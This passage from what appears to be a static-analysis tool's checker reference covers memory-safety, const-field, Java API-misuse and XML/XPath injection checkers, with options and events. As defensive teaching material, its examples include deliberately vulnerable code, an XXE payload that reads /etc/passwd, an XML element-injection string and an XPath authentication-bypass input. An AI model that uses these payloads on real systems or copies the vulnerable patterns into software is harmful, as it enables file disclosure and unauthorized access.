`WRAPPER_ESCAPE` also finds use-after-free errors occurring in a function after an object has been destroyed. The reports are similar to those that `USE_AFTER_FREE` produces, but `WRAPPER_ESCAPE` uses different algorithms and tends to find different types of bugs.

```
void has_another_bug()
{
 char const *p;
 {
 std::string s("hi");
 p = s.c_str();
 } // s is destroyed
 use(p); // use after free
}
```

In the following example, internal representation escapes from a global object and an invalid pointer is used.

```
string global_string;
char const *test() {
 char const *s = global_string.c_str(); // internal representation escapes
 global_string += "foobaz"; // invalidation
 return s; // use of invalid pointer
}
```

The checker reports escapes from STL containers, as in the following example.

```
#include <vector>

void use(int);
```

```
void buggy() {
 std::vector<int> v;
 v.push_back(10);
 int &x = v.back();
 v.push_back(20); // might reallocate memory
 use(x); // using possibly invalid memory
}
```

### 4.351.3. Options

This section describes one or more `WRAPPER_ESCAPE` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `WRAPPER_ESCAPE:config_file:<path-to-config-file>` - C++ option that specifies a path to a configuration file. By default, the analysis uses the configuration found in `<install_dir> / config/wrapper_escape.conf`.
- `WRAPPER_ESCAPE:escape_locals_only:<boolean>` - When this C++ option is set to true, the checker will only report defects if the internal representation escapes from a stack-allocated object. Defaults to `WRAPPER_ESCAPE:escape_locals_only:false`
- `WRAPPER_ESCAPE:skip_AddRef_callers:<boolean>` - When this C++ option is set to true, the checker will not report a defect on any function that calls the `AddRef()` method. This option exists to work around false positives caused when the checker fails to properly interpret a reference counting idiom. Defaults to `WRAPPER_ESCAPE:skip_AddRef_callers:false`

### 4.351.4. Models

Edit `wrapper_escape.conf` to add classes (and set rules for functions in these classes) that `WRAPPER_ESCAPE` will evaluate for defects. This configuration file (see the `config_file` checker option) has comments and examples that explain and illustrate the syntax.

### 4.351.5. Events

This section describes one or more events produced by the `WRAPPER_ESCAPE` checker.

- `dtor_free` - The destructor frees the internal representation.
- `init_param` - A wrapper class object is a parameter.
- `init_ctor` - A wrapper class object is initialized by its constructor.
- `invalidate` - An operation on the wrapper class invalidates (frees) the internal representation.
- `create_new_obj` - A new wrapper class object is allocated.
- `create_new_repr` - The internal representation is allocated as a result of an operation on the wrapper class.

- `init_assign` - Assignment of wrapper class objects causes the internal representation to be allocated.
- `copy` - A wrapper or internal representation pointer is copied among local variables.
- `extract_<desc>` - The internal representation is extracted from a wrapper object that is `parameter`, `temporary`, or `local`.
- `use_after_free` - An object is used after being freed.
- `use_agg_after_free` - An aggregate object (such as a structure or array) is used, even though it contains a pointer to a freed value.
- `escape_site_obj` - The internal representation in a parameter, temporary, or local wrapper object escapes the function's lifetime through one of the following sites: `return`, `deref_assign`, `field_assign`, or `global_assign`.
- `escape_<site>_indir` - The internal representation of some object was copied into a local variable, and now is escaping through a site.
- `escape_<site>_agg_indir` - An aggregate (structure or array) value escapes through a site, but contains a pointer to an internal representation of some object.

## 4.352. WRITE\_CONST\_FIELD

Quality Checker

### 4.352.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

The `WRITE_CONST_FIELD` checker points out issues when a function writes to a structure, class, or union and that write modifies a const-qualified field in the aggregate.

The `WRITE_CONST_FIELD` checker is disabled by default. You can enable it with the `--enable` option to the `cov-analyze` command.

### 4.352.2. Examples

This section provides one or more `WRITE_CONST_FIELD` examples.

This is a defect because `bzero` overwrites `fieldB`.

```
struct container { int fieldA; int const fieldB; }

 struct container testObj;
 bzero(&testObj, sizeof(testObj));
```

### 4.352.3. Events

This section describes one or more events produced by the `WRITE_CONST_FIELD` checker.

## Error reporting

When a structure with const-qualified members is the target of a write from one of the functions `memcpy`, `memccpy`, `memmove`, `memset`, `bzero`, or `bcopy`, and when the size of that write is known and includes a const-qualified member, a defect is reported at the site of the function call. This is a high impact defect. Events are also generated at the declarations of the aggregates to highlight the particular const-qualified member that is being overwritten.

## 4.353. WRONG\_METHOD

Quality Checker

### 4.353.1. Overview

**Supported Languages:** Java

`WRONG_METHOD` finds certain incorrect usage of `Boolean.getBoolean`, `Integer.getInteger`, and some of their variants. For example, `Boolean.getBoolean` and `Integer.getInteger` return the value of a given system property and parse it to `Boolean` and `Integer` type, respectively. So they expect a string (as the first argument) that represents the name of a system property. A typical misunderstanding is that `Boolean.getBoolean` parses strings like `true` and `false` to `Boolean` values and `Integer.getInteger` does something similar. In fact, `Boolean.valueOf` and `Integer.valueOf` methods are intended for that purpose.

**Enabled by default:** `WRONG_METHOD` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.353.2. Examples

This section provides one or more `WRONG_METHOD` examples.

#### 4.353.2.1. Java

The following code is a command-line parser, and `args[i]` is an arbitrary value, which might not be the name of a system property.

```
static void main(String args[])
{
 for(int i=0; i<args.length; i++) {
 if(args[i].equals("--amount")) {
 i++;

 Integer amount = Integer.getInteger(args[i]); // Defect here.
 }
 }
}
```

In the following example, the `CONST_STR` field was intended to be declared `final`, which is missing from the code. Passing a non-final field normally suggests incorrect usage of the

`Integer.getInteger` method. In the example, the `CONST_STR` represents a system property that was not marked `final`. To fix such issues, Coverity recommends making the fields `final`.

```
private static String CONST_STR = "com.my_company.field_name";

void init() {
 Integer field = Integer.getInteger(CONST_STR); // Defect here.
}
```

### 4.353.3. Options

This section describes one or more `WRONG_METHOD` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `WRONG_METHOD:ignore_pattern:<regular_expression>` - If this option is specified, the checker will suppress defects where the first argument is a field or a method with a name (identifier only) that matches this regular expression. Matching is case-insensitive. The empty pattern matches none, effectively disabling this pattern matching. Defaults to `WRONG_METHOD:ignore_pattern:.*prop.*|.name`. That is, the defect is also suppressed for identifiers whose names end with `name`, which eliminates some false positives.

### 4.353.4. Events

This section describes one or more events produced by the `WRONG_METHOD` checker.

- `wrong_method` - [Java] Main event: Identifies the defect.
- `remediation` - [Java] Provides guidance for fixing the issue.

## 4.354. XML\_EXTERNAL\_ENTITY

Security Checker

### 4.354.1. Overview

**Supported Languages:** C#, Go, Java, JavaScript, Kotlin, PHP, Python, Swift, and Visual Basic

`XML_EXTERNAL_ENTITY` reports a defect when tainted data is passed (as XML input) to an improperly configured XML parser. A weakly configured XML parser can be exploited by an attacker to cause a wide range of issues such as denial of service, other excessive use of local resources, leaking sensitive data or generating unwanted server requests.

In Go, `XML_EXTERNAL_ENTITY` reports any usage of improperly configured XML parsers.

**Disabled by default:** `XML_EXTERNAL_ENTITY` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Enabled by default [Go, Kotlin, and Swift]:** `XML_EXTERNAL_ENTITY` is enabled by default. For enablement/disablement details and options, see “Enabling Checkers”.

**Web application security checker enablement:** To enable `XML_EXTERNAL_ENTITY` along with other Web application checkers, use the `--webapp-security` option.

**Android security checker enablement:** To enable `XML_EXTERNAL_ENTITY` along with other Java Android security checkers, use the `--android-security` option with the `cov-analyze` command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

## 4.354.2. Examples

This section provides examples of defects found by the `XML_EXTERNAL_ENTITY` checker. In each example, an XML parser is set up without adequate protection and is then used to parse tainted input. The vulnerability is two-fold:

- The parser does not limit recursive entity expansion. Processing an arbitrary document type declaration (DTD) in the XML input may result in parsing a large number of entities, causing denial of service.
- The parser allows arbitrary external entity references. An attacker-controlled DTD can specify an external URL, making the impact of processing the DTD analogous to a server-side request forgery.

### 4.354.2.1. C#

```
class XMLExternalEntity {
 void Test(HttpRequest req) {
 XmlTextReader reader = new XmlTextReader(req.InputStream);
 XmlDocument xmlDoc = new XmlDocument();
 xmlDoc.Load(reader); // Defect here.
 }
}
```

### 4.354.2.2. Go

In the following example, an `XML_EXTERNAL_ENTITY` defect is reported for the insecure use of the Gokogiri XML processing library.

```
package main

import (
 "github.com/jbowtie/gokogiri/xml"
)

func main() {
 payload := `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<tag>&xxe;</tag>`
}
```

```
document, _ := xml.Parse([]byte(payload), xml.DefaultEncodingBytes, nil, // Defect here
 xml.StrictParseOption,
 xml.DefaultEncodingBytes)
defer document.Free()
}
```

#### 4.354.2.3. Java

In the following example, a defect is reported after the last statement.

```
public class XMLExternalEntity {
 public void test(HttpServletRequest req) throws Exception {
 DocumentBuilderFactory factory =
 DocumentBuilderFactory.newInstance();

 DocumentBuilder builder = factory.newDocumentBuilder();

 Document doc = builder.parse(req.getInputStream());
 // Defect here.
 }
}
```

#### 4.354.2.4. JavaScript

In the following example, a defect is reported for the call to `parser.parse`.

```
var express = require('express');
var expat = require('node-expat');

var app = express();
var parser = new expat.Parser('UTF-8');

app.get('/summary', function(req, res) {
 console.log(req.query.path);
 parser.parse(req.query.path); // Defect Here

 res.sendStatus('Status:' + 1);
});

app.listen(3000, function() {console.log('Listening ');});
```

#### 4.354.2.5. Kotlin

In the following example, a defect is reported after the last statement.

```
class XMLExternalEntity {
 fun test(req: HttpServletRequest) {
 val factory = DocumentBuilderFactory.newInstance()
 val builder = factory.newDocumentBuilder()
```

```

 val doc: Document = builder.parse(req.getInputStream())
 }
}

```

#### 4.354.2.6. PHP

In the following example, a defect is reported for the call to `simple_xml_load`.

```

<?php
 $filename = $_GET['path'];
 $config = simple_xml_load_file($fileName); ?>

```

#### 4.354.2.7. Python

In the following example, the defect is reported for the call to `etree_parse`.

```

from lxml.etree import parse as etree_parse
from lxml.etree import ETCompatXMLParser
from django.conf.urls import url

def load_xml(request):
 input_xml_file = request.body
 parser = ETCompatXMLParser()
 etree_parse(input_xml_file, parser);

urlpatterns = [
 url(r'index', load_xml)
]

```

#### 4.354.2.8. Swift

In the following example, a defect is reported for the call to `xmlParser.parse()` when analyzed with `--distrust-database`.

```

import Foundation

func parseConfiguration(store: NSUbiquitousKeyValueStore) -> Bool{
 // Tainted data and parser is unsafe => DEFECT
 let xmlParser = XMLParser(data:store.data(forKey: "document"!)

 xmlParser.shouldResolveExternalEntities = true
 return xmlParser.parse() // Defect
}

```

#### 4.354.2.9. Visual Basic

```

Class XMLExternalEntity
 Sub Test(req As HttpRequest)
 Dim reader As XmlTextReader = New XmlTextReader(req.InputStream)
 Dim xmlDoc As XmlDocument = New XmlDocument()
 xmlDoc.Load(reader) ' Defect here.
 End Sub

```

---

End Class

### 4.354.3. Options

This section describes the options for the `XML_EXTERNAL_ENTITY` checker.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `XML_EXTERNAL_ENTITY:distrust_all:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `XML_EXTERNAL_ENTITY:distrust_all:false`.

This checker option is automatically set to true if the `XML_EXTERNAL_ENTITY:webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to high.

- `XML_EXTERNAL_ENTITY:trust_command_line:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `XML_EXTERNAL_ENTITY:trust_console:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `XML_EXTERNAL_ENTITY:trust_cookie:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `XML_EXTERNAL_ENTITY:trust_database:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `XML_EXTERNAL_ENTITY:trust_environment:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `XML_EXTERNAL_ENTITY:trust_filesystem:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `XML_EXTERNAL_ENTITY:trust_http:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to

`XML_EXTERNAL_ENTITY:trust_http:false` . Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.

- `XML_EXTERNAL_ENTITY:trust_http_header:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_http_header:false` . Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `XML_EXTERNAL_ENTITY:trust_mobile_other_app:<boolean>` - [Kotlin and Swift only] Setting this option to true causes the analysis to trust data that is received from any mobile application that doesn't require permission to communicate with the current application component. Defaults to `XML_EXTERNAL_ENTITY:trust_mobile_other_app:false` . Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `XML_EXTERNAL_ENTITY:trust_mobile_same_app:<boolean>` - [Kotlin and Swift only] Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_mobile_same_app:true` . Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `XML_EXTERNAL_ENTITY:trust_mobile_user_input:<boolean>` - [Kotlin and Swift only] Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_mobile_user_input:false` . Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.
- `XML_EXTERNAL_ENTITY:trust_mobile_other_privileged_app:<boolean>` - [Kotlin and Swift only] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires permission to communicate with the current application component. Defaults to `XML_EXTERNAL_ENTITY:trust_mobile_other_privileged_app:true` . Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `XML_EXTERNAL_ENTITY:trust_network:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_network:false` . Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `XML_EXTERNAL_ENTITY:trust_rpc:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_rpc:false` . Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `XML_EXTERNAL_ENTITY:trust_system_properties:<boolean>` - [JavaScript, Kotlin, PHP, Python, and Swift] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `XML_EXTERNAL_ENTITY:trust_system_properties:true` . Setting

this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

#### 4.354.4. Events

This section describes one or more events produced by the `XML_EXTERNAL_ENTITY` checker.

- `sink` - (main event) Identifies the location where tainted data reaches a sink.
- `remediation` - Provides information about addressing the security vulnerability.
- `xml_external_entity` (main event) [Go only] - Identifies the location of where a weakly configured XML parser is used.

#### Dataflow events

- `member_init` - Creating an instance of a class using tainted data initializes a member of that class with tainted data.
- `object_construction` - Creating an instance of a class using tainted data.
- `subclass` - Creating an instance of a class to use as a superclass.
- `taint_alias` - A tainted object is aliased.
- `taint_path` - A tainted value has been assigned to a local variable.
- `taint_path_arg` - A tainted value has been used as an argument to a method.
- `taint_path_attr` - [Java and Kotlin only] A tainted value has been stored as a Web application attribute that has page, request, session, or application scope.
- `taint_path_call` - This method call returns a tainted value.
- `taint_path_field` - A tainted value has been assigned to a field.
- `taint_path_map_read` - A tainted value is read from a map.
- `taint_path_map_write` - A tainted value is written to a map.
- `taint_path_param` - A caller passes a tainted argument to this method parameter.
- `taint_path_return` - The current method returns a tainted value.
- `tainted_source` - The method from which a tainted value originates.

### 4.355. XML\_INJECTION

Security Audit Checker

#### 4.355.1. Overview

**Supported Languages:** C#, Java, Visual Basic

XML\_INJECTION finds cases where XML with user-controllable content is parsed. If the input data is not properly sanitized, a malicious user might be able to insert unintended content or structure to subvert the application's logic. This can be accomplished by escaping the intended context and inserting additional element tags. The security impact depends on the nature of the XML data and how it is consumed.

**Disabled by default:** XML\_INJECTION is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security audit enablement:** To enable XML\_INJECTION along with other security audit features, use the `--enable-audit-mode` option. Enabling audit mode has other effects on checkers. For more information, see the description of the `cov-analyze` command in the *Coverity Command Reference*.

### 4.355.2. Defect Anatomy

An XML\_INJECTION defect shows a dataflow path by which untrusted (tainted) data is passed through the program and eventually parsed as XML input. The first event describes the source of the tainted data. It is followed by events that trace the step-by-step propagation through the program. The last event shows the string being passed to an XML parser.

### 4.355.3. Examples

This section provides one or more XML\_INJECTION examples.

#### 4.355.3.1. C#

This example parses an HTTP request `msg` into XML DOM and passes tainted input to an XML parser.

```
// Parse HTTP request attribute "msg" into XML DOM
XmlDocument GetXmlDOM(HttpRequest Request)
{
 // Defect: Passing a tainted input to an XML parser
 var reader = new XmlTextReader(new StringReader(Request["msg"]));
 reader.DtdProcessing = DtdProcessing.Prohibit;
 var doc = new XmlDocument();
 doc.Load(reader);
 return doc;
}
```

#### 4.355.3.2. Java

Consider a Web service that constructs an XML document to communicate with an internal service to fulfill orders. An message might look like the following example:

```
<transaction>
 <user>joel123</user>
 <ship_to>XXX</ship_to>
 <item>Laptop computer</item>
 <item>Laser printer</item>
</transaction>
```

Such a message might be produced by using the following Java code, which allows the user to specify the `ship_to` element body through an HTTP request parameter. The user is not intended to have control over the other elements in the message.

```
import javax.servlet.http.HttpServletRequest;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;

Document getXmlMsg(HttpServletRequest req, String user, List<String> items)
 throws Exception
{
 // Build XML string
 String msg =
 "<transaction>" +
 "<user>" + user + "</user>" +
 "<ship_to>" + req.getParameter("ship_to") + "</ship_to>";
 for(String i : items) {
 msg += "<item>" + i + "</item>";
 }
 msg += "</transaction>";

 // Parse XML string
 return DocumentBuilderFactory
 .newInstance()
 .newDocumentBuilder()
 .parse(new InputSource(new StringReader(msg)));
}
```

This is a security vulnerability because the user has the ability to escape the context of the `ship_to` element and specify additional `item` elements. An example attack might be:

```
> My address </ship_to> <item>Laptop computer</item> <ship_to> My address
```

#### 4.355.3.3. Visual Basic

The following code parses tainted data from an HTTP request as XML.

```
Dim req as HttpRequest = ...

Dim xml as String =
 "<transaction>" +
 "<user>" + req("user") + "</user>" +
 "<ship_to>" + req("ship_to") + "</ship_to>"
xml += "</transaction>"

' DEFECT here: parsing XML containing an untrusted substring
Dim reader as XmlReader = XmlReader.Create(New StringReader(xml))
```

### 4.356. XPATH\_INJECTION

Security Checker

## 4.356.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, Objective-C, Objective-C++, Swift, Visual Basic

An XPATH\_INJECTION defect shows a dataflow path by which uncontrolled dynamic (tainted) data is used as part of an XPath query. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program: for example, from the argument of a function call to the parameter of the called function. The final part of the dataflow path shows the tainted string used as part of an XPath query. In the absence of proper validations, an attacker can manipulate the intent of the query, bypassing authorization checks or disclosing sensitive information.

### Enablement for C, C++

**Disabled by default:** XPATH\_INJECTION is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable XPATH\_INJECTION along with other security checkers, use the `--security` option to the `cov-analyze` command.

### Enablement for C#, Java, and Visual Basic

**Disabled by default:** XPATH\_INJECTION is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable XPATH\_INJECTION along with other Web application checkers, use the `--webapp-security` option.

### Enablement for Go and Swift

**Enabled by default:** XPATH\_INJECTION is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

## 4.356.2. Examples

This section provides one or more XPATH\_INJECTION examples.

### 4.356.2.1. C/C++

The following example shows a vulnerability in which a message from a socket is used as an unsafe xpath. The `xmlFree` and `xmlXPathEval` functions are from the `libxml` library. The XPATH\_INJECTION defect occurs at the second line of the `if` statement.

```
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
```

```

void xmlFree(void *ptr);
xmlXPathObjectPtr xmlXPathEval(const xmlChar *str, xmlXPathContextPtr ctx);

void bug(int socket, xmlXPathContextPtr ctx) {
 char path[1024];
 if (recv(socket, path, sizeof(path), 0) > 0) {
 xmlXPathObjectPtr freed = xmlXPathEval(path, ctx);
 xmlFree(freed);
 }
}

```

#### 4.356.2.2. C#

In the following MVC request handler, a user is able to control the "bookName" argument. By passing using this argument directly as an XPath query, an attacker can change the intent of the XPath query, which may inappropriately disclose data or grant unauthorized access to application functionality.

```

using System.Web.Mvc;
using System.Xml.XPath;

public class XpathInjectionController : Controller
{
 private XPathDocument libraryXmlDoc;

 public ActionResult GetBookInfo(string bookName)
 {
 XPathNavigator libraryNavigator = libraryXmlDoc.CreateNavigator();
 XPathNodeIterator matchingBooks = libraryNavigator.Select(bookName);
 return View(matchingBooks);
 }
}

```

#### 4.356.2.3. Go

The following example shows a vulnerability in which tainted data from an http request is used as an unsafe xpath to get the file path. The `MustCompile`, `Parse` and `String` functions are from the `xmlpath.v2` library. The `XPATH_INJECTION` defect occurs at the `MustCompile` statement.

```

package main

import (
 "gopkg.in/xmlpath.v2"
 "net/http"
 "fmt"
 "os"
)

func xpathInjection(req *http.Request, file *os.File) {
 request := req.URL.Query().Get("tainted")
 path := xmlpath.MustCompile(request)

 root, err := xmlpath.Parse(file)

```

```

if err == nil {
 if value, ok := path.String(root); ok {
 fmt.Println("Found:", value)
 }
}
}

```

#### 4.356.2.4. Java

In the following scenario, an XPath query is injected with the user-supplied (tainted) data `username` and `password`. The Java `javax.xml.xpath` API is used, which has a sink through the `javax.xml.xpath.XPath.evaluate` method. The injected data is passed into the sink through the first parameter, `expression`.

```

XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
String expression = "/employees/employee[@loginID='" + username +
 "' and @passwd='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);

```

If the `username` of the attacker is `admin` and `password` is `' or @loginID='admin'`, the full XPath query now is `/employees/employee[@loginID='admin' and @passwd=' ' or @loginID='admin']`. If this query is used to authenticate users, an attacker can authenticate as the `admin` user.

#### 4.356.2.5. Swift

The following example illustrates a possible `XPATH_INJECTION` defect in Swift. The defect occurs at the `node.forXPath` statement

```

import UIKit
import Foundation
import KissXML

func processDocumentNode(node : CXMLElement, store: NSUbiquitousKeyValueStore) {

 let xpath: String = store.string(forKey: "xpath")!

 do {
 var t = try node.forXPath(xpath)
 } catch {
 print("Error")
 }
}
}

```

#### 4.356.2.6. Visual Basic

In the following MVC request handler, a user is able to control the `"bookName"` argument. By passing using this argument directly as an XPath query, an attacker can change the intent of the XPath query, which may inappropriately disclose data or grant unauthorized access to application functionality.

```
Imports System.Web.Mvc
Imports System.Xml.XPath

Public Class XPathInjectionController
 Inherits Controller

 Private Dim libraryXmlDoc As XPathDocument

 Public Function GetBookInfo(bookName As String) As ActionResult
 Dim libraryNavigator As XPathNavigator = libraryXmlDoc.CreateNavigator()
 Dim matchingBooks As XPathNodeIterator = libraryNavigator.Select(bookName)
 Return View(matchingBooks)
 End Function
End Class
```

### 4.356.3. Options

This section describes the options for the `XPATH_INJECTION` checker.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `XPATH_INJECTION:distrust_all:<boolean>` - [C, C++, Go, Swift] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `XPATH_INJECTION:distrust_all:false`.

This checker option is automatically set to true if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`. (All languages except C, C++)

This checker option is automatically set to true if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`. (C, C++)

- `XPATH_INJECTION:trust_command_line:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `XPATH_INJECTION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `XPATH_INJECTION:trust_console:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `XPATH_INJECTION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `XPATH_INJECTION:trust_cookie:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `XPATH_INJECTION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `XPATH_INJECTION:trust_database:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to

`XPATH_INJECTION:trust_database:true` . Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.

- `XPATH_INJECTION:trust_environment:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `XPATH_INJECTION:trust_environment:true` . Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `XPATH_INJECTION:trust_filesystem:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `XPATH_INJECTION:trust_filesystem:true` . Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `XPATH_INJECTION:trust_http:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `XPATH_INJECTION:trust_http:false` . Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `XPATH_INJECTION:trust_http_header:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `XPATH_INJECTION:trust_http_header:false` . Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `XPATH_INJECTION:trust_mobile_other_app:<boolean>` - [Go, Swift only] Setting this Web application security option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `XPATH_INJECTION:trust_mobile_other_app:false` . Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `XPATH_INJECTION:trust_mobile_other_privileged_app:<boolean>` - [Go, Swift only] Setting this Web application security option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `XPATH_INJECTION:trust_mobile_other_privileged_app:true` . Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `XPATH_INJECTION:trust_mobile_same_app:<boolean>` - [Go, Swift only] Setting this Web application security option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `XPATH_INJECTION:trust_mobile_same_app:true` . Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `XPATH_INJECTION:trust_mobile_user_input:<boolean>` - [Go, Swift only] Setting this Web application security option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `XPATH_INJECTION:trust_mobile_user_input:false` . Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.

- `XPATH_INJECTION:trust_network:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `XPATH_INJECTION:trust_network:false`. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `XPATH_INJECTION:trust_rpc:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `XPATH_INJECTION:trust_rpc:false`. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `XPATH_INJECTION:trust_system_properties:<boolean>` - [Go, Swift, C, C++ only] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `XPATH_INJECTION:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

#### 4.356.4. Models and Annotations

With `cov-make-library`, you can use the following Coverity Analysis primitives to create custom models for `XPATH_INJECTION`.

The following model indicates that `createExpressionInDOMDocument()` is a taint sink (of type `XPATH`) for argument `expr`:

```
void createExpressionInDOMDocument(const char *expr)
{ __coverity_taint_sink__(expr, XPATH); }
```

You can model taint sources with the `__coverity_mark_pointee_as_tainted__` modeling primitive. For example, the following model indicates that `packet_get_string()` returns a tainted string from the network:

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
 return ret;
}
```

The next model indicates that `custom_sanitizе()` returns true if the `s` argument is valid (and thus should no longer be considered tainted). If the `s` argument is not valid, `custom_sanitizе()` returns false and the analysis continues to track `s` as tainted:

```
